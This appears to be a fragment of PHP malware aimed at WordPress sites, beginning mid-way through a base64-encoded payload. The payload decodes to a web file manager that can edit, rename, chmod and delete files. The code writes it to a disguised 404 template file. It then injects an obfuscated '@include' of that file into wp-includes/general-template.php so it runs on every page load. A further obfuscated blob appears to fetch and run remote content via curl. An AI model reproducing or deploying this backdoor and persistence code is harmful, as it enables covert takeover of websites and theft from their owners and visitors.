VsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOW